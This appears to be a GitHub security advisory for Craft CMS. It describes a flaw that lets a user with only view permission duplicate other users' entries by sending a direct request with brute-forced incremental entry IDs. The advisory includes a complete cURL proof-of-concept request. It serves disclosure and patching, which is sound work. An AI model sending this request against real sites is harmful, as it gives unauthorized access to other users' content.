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GHSA-jxm3-pmm2-9gf6

MediumCVSS 5.7 / 10
Published Mar 3, 2026·Last modified Mar 4, 2026
Affected Components(0)

No affected components available

Description

Description

The "Duplicate" entry action does not properly verify if the user has permission to perform this action on the specific target elements. Even with only "View Entries" permission (where the "Duplicate" action is restricted in the UI), a user can bypass this restriction by sending a direct request.

Furthermore, this vulnerability allows duplicating other users' entries by specifying their Entry IDs. Since Entry IDs are incremental, an attacker can trivially brute-force these IDs to duplicate and access restricted content across the system.

Proof of Concept

Prerequisites

  • A user with "View Entries" permission on any section.

Steps to Reproduce

  1. Log in as a user with minimal permissions ("View Entries").
  2. Identify the target Entry ID (e.g., via brute-force 1 to N).
  3. Send the following cURL request:

    Replace craft.local, <Cookie>, <CSRF> and 6393 (which is the entry ID):

    curl --path-as-is -i -s -k -X $'POST' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json' -H $'Content-Type: application/json' -H $'X-CSRF-Token: <CSRF>' -H $'Content-Length: 216' -b $'<Cookie>' --data-binary $'{\"context\":\"index\",\"elementType\":\"craft\\\\elements\\\\Entry\",\"source\":\"section:17da21e5-0cfe-41f5-8cd2-450a94f7989c\",\"viewState\":{\"static\":true},\"elementAction\":\"craft\\\\elements\\\\actions\\\\Duplicate\",\"elementIds\":[6393]}' $'http://craft.local/index.php?p=admin%2Factions%2Felement-indexes%2Fperform-action'
  4. Observe that a new entry is created with the attacker as the owner, granting full access to the content.

Resources

https://github.com/craftcms/cms/commit/fb61a91357f5761c852400185ba931f51d82783d

Risk Scores
Base Score
5.7

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability.

Threat Intelligence
4.9

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
0.23%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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